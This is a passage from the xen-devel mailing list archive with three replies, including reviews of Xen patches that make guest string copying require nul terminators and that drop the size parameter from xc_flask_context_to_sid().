	 w1VeEKbpH/fT7kvqY9QrCvgHPHHPFXTLBTuAr9eAkNY5WqMk3S9O4fQkBovR+Lq+yS
	 W5zmwAV0MlSzg==
Date: Thu, 2 Jul 2026 12:07:15 +0200
From: Ingo Molnar <mingo@kernel.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Arnd Bergmann <arnd@arndb.de>, Juergen Gross <jgross@suse.com>,
	linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	"linux-edac@vger.kernel.org" <linux-edac@vger.kernel.org>,
	x86@kernel.org, linux-acpi@vger.kernel.org, kvm@vger.kernel.org,
	linux-coco@lists.linux.dev, linux-pci@vger.kernel.org,
	virtualization@lists.linux.dev, linux-ide@vger.kernel.org,
	dri-devel@lists.freedesktop.org, linux-fbdev@vger.kernel.org,
	linux-crypto@vger.kernel.org,
	"open list:GPIO SUBSYSTEM" <linux-gpio@vger.kernel.org>,
	linux-hyperv@vger.kernel.org, linux-hwmon@vger.kernel.org,
	linux-perf-users@vger.kernel.org, linux-mtd@lists.infradead.org,
	platform-driver-x86@vger.kernel.org,
	"Rafael J . Wysocki" <rafael@kernel.org>,
	Daniel Lezcano <daniel.lezcano@kernel.org>,
	Zhang Rui <rui.zhang@intel.com>,
	"lukasz.luba@arm.com" <lukasz.luba@arm.com>,
	Jason Baron <jbaron@akamai.com>, Borislav Petkov <bp@alien8.de>,
	Tony Luck <tony.luck@intel.com>,
	Yazen Ghannam <yazen.ghannam@amd.com>, Len Brown <lenb@kernel.org>,
	Pavel Machek <pavel@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	Paolo Bonzini <pbonzini@redhat.com>,
	"Kirill A. Shutemov" <kas@kernel.org>,
	Rick Edgecombe <rick.p.edgecombe@intel.com>,
	Pu Wen <puwen@hygon.cn>, Bjorn Helgaas <bhelgaas@google.com>,
	Ajay Kaher <ajay.kaher@broadcom.com>,
	Alexey Makhalov <alexey.makhalov@broadcom.com>,
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>,
	Viresh Kumar <viresh.kumar@linaro.org>,
	Reinette Chatre <reinette.chatre@intel.com>,
	Dave Martin <Dave.Martin@arm.com>,
	James Morse <james.morse@arm.com>, Babu Moger <babu.moger@amd.com>,
	Tony W Wang-oc <TonyWWang-oc@zhaoxin.com>,
	Damien Le Moal <dlemoal@kernel.org>,
	Niklas Cassel <cassel@kernel.org>, Dave Airlie <airlied@redhat.com>,
	Helge Deller <deller@gmx.de>, linux-geode@lists.infradead.org,
	Olivia Mackall <olivia@selenic.com>,
	Herbert Xu <herbert@gondor.apana.org.au>,
	Linus Walleij <linusw@kernel.org>,
	Bartosz Golaszewski <brgl@kernel.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"K. Y. Srinivasan" <kys@microsoft.com>,
	Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>,
	Long Li <longli@microsoft.com>, Guenter Roeck <linux@roeck-us.net>,
	Peter Zijlstra <peterz@infradead.org>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	Mark Rutland <mark.rutland@arm.com>,
	Alexander Shishkin <alexander.shishkin@linux.intel.com>,
	Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
	Adrian Hunter <adrian.hunter@intel.com>,
	James Clark <james.clark@linaro.org>,
	Josh Poimboeuf <jpoimboe@kernel.org>,
	Pawan Gupta <pawan.kumar.gupta@linux.intel.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Andy Lutomirski <luto@kernel.org>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	Huang Rui <ray.huang@amd.com>,
	Mario Limonciello <mario.limonciello@amd.com>,
	Perry Yuan <perry.yuan@amd.com>,
	K Prateek Nayak <kprateek.nayak@amd.com>,
	"srinivas.pandruvada@linux.intel.com" <srinivas.pandruvada@linux.intel.com>,
	Artem Bityutskiy <artem.bityutskiy@linux.intel.com>,
	Artem Bityutskiy <dedekind1@gmail.com>,
	Miquel Raynal <miquel.raynal@bootlin.com>,
	Richard Weinberger <richard@nod.at>,
	Vignesh Raghavendra <vigneshr@ti.com>,
	Ashok Raj <ashok.raj.linux@gmail.com>,
	Hans de Goede <hansg@kernel.org>,
	Ilpo =?iso-8859-1?Q?J=E4rvinen?= <ilpo.jarvinen@linux.intel.com>,
	Rajneesh Bhardwaj <irenic.rajneesh@gmail.com>,
	David E Box <david.e.box@intel.com>, xen-devel@lists.xenproject.org
Subject: Re: [PATCH 00/32] x86/msr: Drop 32-bit MSR interfaces
Message-ID: <akY4U0jUZm4HOGZ_@gmail.com>
References: <20260629060526.3638272-1-jgross@suse.com>
 <d7c1db52-529a-43cc-ac7d-38b52627e8bc@app.fastmail.com>
 <c1608c48-13c2-4290-826b-28b5ca51eaf7@suse.com>
 <7332feff-2649-496c-8e49-b0a19eb54a32@app.fastmail.com>
 <akJUz0kYkEBdLSZ3@gmail.com>
 <akQR9YMtMHReJTfB@google.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <akQR9YMtMHReJTfB@google.com>
X-purgate-ID: tlsNG-16d1c6/1782986861-C493368D-C99CE1BD/0/0
X-purgate-type: clean
X-purgate-size: 882


* Sean Christopherson <seanjc@google.com> wrote:

> > Note that the individual patches are IMO significantly easier to review
> > through the actual 32-bit => 64-bit variable assignment changes done
> > in isolation (which sometimes include minor cleanups), while
> > the Coccinelle semantic patch:
> > 
> >    { a(b,c) => c = a(b) }
> > 
> > which changes both the function signature and the order of terms as
> > well, is just a single add-on treewide patch.
> 
> Is the plan for subsystem maintainers to pick up the relevant patches,
> and then do the treewide change one release cycle later?

I'll try to keep the patches in a single tree (tip:x86/msr)
in the hope of not prolonging the pain two cycles - but it's
of course fine for maintainers to pick up the patches too
(most of them are standalone), we'll sort it all out in the end.

Thanks,

	Ingo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:18:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:18:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351585.1608717 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfEUo-0004IF-MM; Thu, 02 Jul 2026 10:18:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351585.1608717; Thu, 02 Jul 2026 10:18:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfEUo-0004I8-It; Thu, 02 Jul 2026 10:18:14 +0000
Received: by outflank-mailman (input) for mailman id 1351585;
 Thu, 02 Jul 2026 10:18:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfEUn-0004Hz-CI
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:18:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfEUm-00DZBt-EL
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:18:12 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a463adf-e002-0a2a0a5209dd-0a2a4505c7e8-16
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:18:12 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a463ae4-3cb2-0a2a45050019-d1558035ddca-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:18:12 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c2c0b9a8so10695155e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 03:18:12 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493bef1807asm98365265e9.1.2026.07.02.03.18.10
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 03:18:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782987492; x=1783592292; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=asicmzSqEkS5SzRmJhqr3aSGxdsbzG03G4tjHfFmpH4=;
        b=fLJTXEAf3qxpwxXVfbVXy3b+q74oJLi1Ahbyk++jGXj9fwGAEee6Btgn4Ny0vb8snw
         yW58B/q+8WChiBQZ5TGJYwhamdFMoqRlHikUEQ/1u8uF0LW6IFJz8jssZzJ4S+SNZuV3
         tHHVdG9zH1Y6AWf29zi7tfDEc2LDNTbf3e+Bb4mpGpMwcnWuSzLzNbTOhUob4mjPL4B2
         arZwBv96mykDz70MkR806gD+ZbC0accZmsZH95LPOhmZR2zfwtLFVDhYKKVG2Gb/i++D
         j5zTvRTASELiW+VuVdvpCpBKVHiQ61e/7VtPaDPcyOdigqYCdv46ovh//yBh8uk9sq0p
         +v2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782987492; x=1783592292;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=asicmzSqEkS5SzRmJhqr3aSGxdsbzG03G4tjHfFmpH4=;
        b=SQU6mBj7b69DsItTNokS5LNaFp/+mey38nkKk+PC19x8xcDbep4LHjP/vCMuyOzER4
         pbypRHng0eUeOgYnbT+F5Et39DurNKvmrXO4b6TzD621Sz1uQlrdagPMMXZX0i6UgOLx
         PVM+nNzD2rvRnppcjzNcrm1I1em5XJgXBoGAlHdfjIZq8p4Cu6aGDp0yet5II0ekF1wo
         UxLvBHjAlXtF7yVoN0IjIw9K7tNF6mxLe0vgkCHFm1sNGHrbaf/EQkQsaqZn9q0kkiom
         92ERduibwXkGEMMupd/Z2kcDqKrk8Xdk5pujJmR/BiUP/BHudlviB8ZGAqNbp7G9OVfO
         JBQA==
X-Forwarded-Encrypted: i=1; AFNElJ9nPwH7G37RdPnHLLfNrWxTAjqVetyu08LtiSZezz4BSIgFHWfEmNFnuVrfy8wYtVtLubqHrhrY5i0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxwdVfRSkATPCYI2FlGDCPE4ZMRJWPHG52E4oRanWQfFbIVejFI
	fM0/vK1HcT0LpgFyqNGiF/uxp4IPd5sGnrJwQT+tg844eJW1izTmrpNq
X-Gm-Gg: AfdE7cmgnzynZF3DdTIbWcNgKxiqn+gfp1WFehtqgFXnojCVc/muoTPP2pDGTkDCfMW
	nMh1Z+IUQURNPEOaGoLtn/gybj3uVC9T8xy2JsELjvxV4Sxk8BQoTFoEPR0LJD1En62wsgXZt5u
	Ye4G/X3ZtEt9iGiHA7Y2GDVrGl45QMI4CLF82dMRGyRy7w6elMBHzRCTVzeIRLJnodSQmLcxz3U
	8ReyoGsqfKkx5f4j/eZYFdxAioeyLtbXKxdjjOZc59CxAQco79GqUTsKDbV7UEg7JPnFP5f7FIW
	gcZ7uVdTj6VZcDOE6Djvh1YmE+5/voqUtSpkS4ybvRZqHBG2K/UJHAMX8ZDRB1rJOJHQUbp3T3g
	+GDoeT/6FyMRRScmUWu0hs01DLjuTRUqB5+MmrbOaYOk7zq0JDNH5QfrG13g8d/xAKwwLXAGw3R
	GI43bjRIoNR96byap5XPrIAqEjjQTDF7ycHoGqcKtAzdu5kjRoV9S03YHAvKQyGhvb+7U=
X-Received: by 2002:a05:600c:5681:b0:493:bc92:ba9a with SMTP id 5b1f17b1804b1-493c3cd9c4cmr44809895e9.13.1782987491717;
        Thu, 02 Jul 2026 03:18:11 -0700 (PDT)
Message-ID: <1aeabffc-0087-4e59-a8ae-7cd20be4761d@gmail.com>
Date: Thu, 2 Jul 2026 12:18:10 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/2] lib: make safe_copy_string_from_guest() validate
 input
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Daniel Smith <dpsmith@apertussolutions.com>
References: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
 <80bc4e83-b767-4692-9ce1-0ebf68d7ab26@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <80bc4e83-b767-4692-9ce1-0ebf68d7ab26@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1782987492-0FB192B8-AAFE3081/10/73395122804
X-purgate-type: spam
X-purgate-size: 4231



On 7/1/26 4:48 PM, Jan Beulich wrote:
> ... rather than papering over guest flaws: Strings passed ought to be nul-
> terminated (yet sadly libxc hasn't been doing so thus far). This way we
> also avoid order-1 allocations, seeing that all present callers pass
> PAGE_SIZE for max_size.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> I can't spot any caller side use of FLASK_DEVICETREE_LABEL, hence there's
> no corresponding prereq patch.
> 
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -7,6 +7,8 @@ The format is based on [Keep a Changelog
>   ## [4.23.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
>   
>   ### Changed
> + - XEN_DOMCTL_DEV_DT's, FLASK_[GS]ETBOOL's, and FLASK_DEVICETREE_LABEL's input
> +   string sizes need to include the nul terminator.
>   

Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com> # Changelog

>   ### Added
>   
> --- a/xen/lib/guest-strcpy.c
> +++ b/xen/lib/guest-strcpy.c
> @@ -3,8 +3,8 @@
>   #include <xen/err.h>
>   
>   /*
> - * The function copies a string from the guest and adds a NUL to
> - * make sure the string is correctly terminated.
> + * The function copies a string from the guest and checks there's a NUL
> + * terminating the string.
>    */
>   char *safe_copy_string_from_guest(XEN_GUEST_HANDLE(char) u_buf,
>                                     size_t size, size_t max_size)
> @@ -14,8 +14,7 @@ char *safe_copy_string_from_guest(XEN_GU
>       if ( size > max_size )
>           return ERR_PTR(-ENOBUFS);
>   
> -    /* Add an extra +1 to append \0 */
> -    tmp = xmalloc_array(char, size + 1);
> +    tmp = xmalloc_array(char, size);
>       if ( !tmp )
>           return ERR_PTR(-ENOMEM);
>   
> @@ -24,7 +23,12 @@ char *safe_copy_string_from_guest(XEN_GU
>           xfree(tmp);
>           return ERR_PTR(-EFAULT);
>       }
> -    tmp[size] = '\0';
> +
> +    if ( !memchr(tmp, 0, size) )
> +    {
> +        xfree(tmp);
> +        return ERR_PTR(-EMSGSIZE);
> +    }
>   
>       return tmp;
>   }
> --- a/xen/include/public/domctl.h
> +++ b/xen/include/public/domctl.h
> @@ -574,7 +574,7 @@ struct xen_domctl_assign_device {
>               uint32_t machine_sbdf;   /* machine PCI ID of assigned device */
>           } pci;
>           struct {
> -            uint32_t size; /* Length of the path */
> +            uint32_t size; /* Length of the path, including nul terminator */
>               XEN_GUEST_HANDLE_64(char) path; /* Path to the device tree node */
>   #ifdef __XEN__
>               struct dt_device_node *dev; /* Resolved device node of the above */
> --- a/xen/include/public/xsm/flask_op.h
> +++ b/xen/include/public/xsm/flask_op.h
> @@ -26,7 +26,8 @@ typedef struct xen_flask_setenforce xen_
>   struct xen_flask_sid_context {
>       /* IN/OUT: sid to convert to/from string */
>       uint32_t sid;
> -    /* IN: size of the context buffer
> +    /*
> +     * IN: size of the context buffer, including nul terminator
>        * OUT: actual size of the output context string
>        */
>       uint32_t size;
> @@ -86,8 +87,11 @@ struct xen_flask_boolean {
>       uint8_t new_value;
>       /* IN: commit new value instead of only setting pending [SET] */
>       uint8_t commit;
> -    /* IN: size of boolean name buffer [GET/SET]
> -     * OUT: actual size of name [GET only] */
> +    /*
> +     * IN: size of boolean name buffer [GET/SET]; must cover nul terminator
> +     *     if "name" (below) is an input
> +     * OUT: actual size of name [GET only]
> +     */
>       uint32_t size;
>       /* IN: if bool_id is -1, used to find boolean [GET/SET]
>        * OUT: textual name of boolean [GET only]
> @@ -150,7 +154,7 @@ typedef struct xen_flask_relabel xen_fla
>   struct xen_flask_devicetree_label {
>       /* IN */
>       uint32_t sid;
> -    uint32_t length;
> +    uint32_t length; /* length of the path, including nul terminator */
>       XEN_GUEST_HANDLE(char) path;
>   };
>   typedef struct xen_flask_devicetree_label xen_flask_devicetree_label_t;
> 

Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:22:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:22:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351601.1608726 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfEYT-0005wO-5M; Thu, 02 Jul 2026 10:22:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351601.1608726; Thu, 02 Jul 2026 10:22:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfEYT-0005wG-1R; Thu, 02 Jul 2026 10:22:01 +0000
Received: by outflank-mailman (input) for mailman id 1351601;
 Thu, 02 Jul 2026 10:22:00 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wfEYS-0005wA-4W
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:22:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfEYR-00CSD2-Hf
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:21:59 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a463bc5-5cb7-0a2a0a5109dd-0a2a45049e16-4
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:21:59 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a463bc5-a01d-0a2a45040019-888fbc335294-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:21:58 +0200
Received: by mx.zohomail.com with SMTPS id 1782987707484235.51031824193228;
 Thu, 2 Jul 2026 03:21:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="Message-ID:Date:MIME-Version:Subject:To:Cc:References:From:In-Reply-To:Content-Type:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1782987711; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=Erf+OR88YGH7B33E9ch2qAhCtGGsfCsPMoEIbVC+vurj185iySuOiI3psNr3kGL5iMITufCSMpZP2klH1tAvb/hGIMHnimCp2vNOtnrEBHHENMoBqbB8g4vzIZW0ydzvOapoIZIi7MkIcooGUPTd7ppN7+1wRdCMn9v3a0UoRnY=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1782987711; h=Content-Type:Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:In-Reply-To:MIME-Version:Message-ID:References:Subject:Subject:To:To:Message-Id:Reply-To; 
	bh=vIAPMhBu82ubtuLXA6Cfj915g3ip0b/QqrhVvOeWe6s=; 
	b=g5rt67UgzxSmQqYeFgECM7EHEEfq9iA+mWjzItyXmxH/+rLNh/cgkSLyIicAfqjAXr4AAc5gKN/52NML2kiJX9IBZhxeWnhgoemKf5T1GHsH5HXRNtrkNs5pcrGBiH1bx7zYZ4W2aCkbf0BtiLgppb3aEHDIKtthrdZaOm6ToeA=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1782987711;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=Message-ID:Date:Date:MIME-Version:Subject:Subject:To:To:Cc:Cc:References:From:From:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Reply-To;
	bh=vIAPMhBu82ubtuLXA6Cfj915g3ip0b/QqrhVvOeWe6s=;
	b=CpZddfSWDo2i7vEP16AJ6GuEW+NSVFTjXoJa+uXJGfXjOKD5oVp4iQsd0zk/dVxw
	cF0NSMOgAiR8ASeGOnFDOsCh3pJvZ1JUDOT627wCdoviNN7P2hCVEcMGe1Fb8pQQmqP
	J/8+lO45Em0HzmMp0icrTXKtmLbyfA6t+KmeUc5Y=
Message-ID: <70b66c05-29bb-44f3-b105-3d85aa44b032@apertussolutions.com>
Date: Thu, 2 Jul 2026 06:21:46 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 1/2] libxc: drop size parameter from
 xc_flask_context_to_sid()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Juergen Gross <jgross@suse.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>
References: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
 <d3b03ebb-7923-4033-8bcb-cf0cdbb4e771@suse.com>
Content-Language: en-US
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
In-Reply-To: <d3b03ebb-7923-4033-8bcb-cf0cdbb4e771@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-ebf023/1782987719-AD13E1CC-EA2F2633/0/0
X-purgate-type: clean
X-purgate-size: 4045


On 7/1/26 10:47 AM, Jan Beulich wrote:
> Nul-terminated strings are passed in all cases, so the strlen() can very
> well be invoked by the function itself. In preparation for a hypervisor
> change also include the nul terminator in the size calculation.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> ---
> Ideally libxl_flask_context_to_sid() would follow suit, but aiui doing so
> would break its (stable) API.
> 
> Of course the casts in xc_flask_access() are suspicious.
> ---
> v2: Avoid assert() use in libxl.
> 
> --- a/tools/helpers/init-xenstore-domain.c
> +++ b/tools/helpers/init-xenstore-domain.c
> @@ -108,7 +108,7 @@ static int build(xc_interface *xch)
>   
>       if ( flask )
>       {
> -        rv = xc_flask_context_to_sid(xch, flask, strlen(flask), &config.ssidref);
> +        rv = xc_flask_context_to_sid(xch, flask, &config.ssidref);
>           if ( rv )
>           {
>               fprintf(stderr, "xc_flask_context_to_sid failed\n");
> --- a/tools/include/xenctrl.h
> +++ b/tools/include/xenctrl.h
> @@ -2372,7 +2372,7 @@ long xc_sharing_used_frames(xc_interface
>   /*** End sharing interface ***/
>   
>   int xc_flask_load(xc_interface *xc_handle, char *buf, uint32_t size);
> -int xc_flask_context_to_sid(xc_interface *xc_handle, char *buf, uint32_t size, uint32_t *sid);
> +int xc_flask_context_to_sid(xc_interface *xc_handle, char *buf, uint32_t *sid);
>   int xc_flask_sid_to_context(xc_interface *xc_handle, int sid, char *buf, uint32_t size);
>   int xc_flask_getenforce(xc_interface *xc_handle);
>   int xc_flask_setenforce(xc_interface *xc_handle, int mode);
> --- a/tools/libs/ctrl/xc_flask.c
> +++ b/tools/libs/ctrl/xc_flask.c
> @@ -83,10 +83,11 @@ int xc_flask_load(xc_interface *xch, cha
>       return err;
>   }
>   
> -int xc_flask_context_to_sid(xc_interface *xch, char *buf, uint32_t size, uint32_t *sid)
> +int xc_flask_context_to_sid(xc_interface *xch, char *buf, uint32_t *sid)
>   {
>       int err;
>       struct xen_flask_op op = {};
> +    size_t size = strlen(buf) + 1;
>       DECLARE_HYPERCALL_BOUNCE(buf, size, XC_HYPERCALL_BUFFER_BOUNCE_IN);
>   
>       if ( xc_hypercall_bounce_pre(xch, buf) )
> @@ -249,7 +250,7 @@ static int xc_flask_add(xc_interface *xc
>       int err;
>       struct xen_flask_op op = {};
>   
> -    err = xc_flask_context_to_sid(xch, scontext, strlen(scontext), &sid);
> +    err = xc_flask_context_to_sid(xch, scontext, &sid);
>       if ( err )
>           return err;
>   
> @@ -325,10 +326,10 @@ int xc_flask_access(xc_interface *xch, c
>       struct xen_flask_op op = {};
>       int err;
>   
> -    err = xc_flask_context_to_sid(xch, (char*)scon, strlen(scon), &op.u.access.ssid);
> +    err = xc_flask_context_to_sid(xch, (char*)scon, &op.u.access.ssid);
>       if ( err )
>           return err;
> -    err = xc_flask_context_to_sid(xch, (char*)tcon, strlen(tcon), &op.u.access.tsid);
> +    err = xc_flask_context_to_sid(xch, (char*)tcon, &op.u.access.tsid);
>       if ( err )
>           return err;
>   
> --- a/tools/libs/light/libxl_flask.c
> +++ b/tools/libs/light/libxl_flask.c
> @@ -21,7 +21,10 @@ int libxl_flask_context_to_sid(libxl_ctx
>   {
>       int rc;
>   
> -    rc = xc_flask_context_to_sid(ctx->xch, buf, len, ssidref);
> +    if (len != strlen(buf))
> +        return ERROR_INVAL;
> +
> +    rc = xc_flask_context_to_sid(ctx->xch, buf, ssidref);
>   
>       return rc;
>   }
> --- a/tools/python/xen/lowlevel/xc/xc.c
> +++ b/tools/python/xen/lowlevel/xc/xc.c
> @@ -1754,7 +1754,7 @@ static PyObject *pyflask_context_to_sid(
>           return PyErr_SetFromErrno(xc_error_obj);
>       }
>   
> -    ret = xc_flask_context_to_sid(xc_handle, ctx, strlen(ctx), &sid);
> +    ret = xc_flask_context_to_sid(xc_handle, ctx, &sid);
>   
>       xc_interface_close(xc_handle);
>   
> 

Reviewed-by: Daniel P. Smith <dpsmith@apertussolutions.com>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:53:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:53:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351631.1608734 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF31-0003nG-Gy; Thu, 02 Jul 2026 10:53:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351631.1608734; Thu, 02 Jul 2026 10:53:35 +0000
